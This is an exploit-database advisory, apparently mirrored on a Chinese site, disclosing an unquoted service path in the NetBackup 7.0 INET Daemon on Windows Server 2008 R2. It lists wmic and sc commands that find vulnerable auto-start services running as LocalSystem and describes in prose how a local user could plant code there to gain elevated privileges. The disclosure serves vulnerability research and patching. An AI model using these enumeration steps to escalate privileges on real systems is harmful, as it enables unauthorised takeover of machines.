NetBackup 7.0 – ‘NetBackup INET Daemon’ Unquoted Service Path

• Exploit Database
• 13 阅读

• 作者： El Masas
  日期： 2020-03-18
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/48227/

• # Exploit Title: NetBackup 7.0 - 'NetBackup INET Daemon' Unquoted Service Path
  # Discovery by: Alan Mondragon "El Masas"
  # Discovery Date: 2020-03-17
  # Vendor Homepage: https://www.veritas.com/
  # Software Link : https://www.veritas.com/
  # Veritas
  # Tested Version: 7.0
  # Vulnerability Type: Unquoted t Service Path
  # Tested on OS: Windows Server 2008 R2 en
  
  # Step to discover Unquoted Service Path: 
  
  
  C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """ Auto
  NetBackup Client Service NetBackup INET Daemon
  C:\Program Files\Veritas\NetBackup\bin\bpinetd.exe
  Auto
  C:\>sc qc "NetBackup INET Daemon"
  [SC] QueryServiceConfig SUCCESS
  SERVICE_NAME: NetBackup INET Daemon
  TYPE : 10WIN32_OWN_PROCESS
  START_TYPE : 2 AUTO_START
  ERROR_CONTROL: 1 NORMAL
  BINARY_PATH_NAME : C:\Program Files\Veritas\NetBackup\bin\bpinetd.exe
  LOAD_ORDER_GROUP :
  TAG: 0
  DISPLAY_NAME : NetBackup Client Service
  DEPENDENCIES : 
  SERVICE_START_NAME : LocalSystem
  
  #Exploit:
  # A successful attempt would require the local user to be able to insert their code in the system root path 
  # undetected by the OS or other security applications where it could potentially be executed during 
  # application startup or reboot. If successful, the local user's code would execute with the elevated 
  # privileges of the application.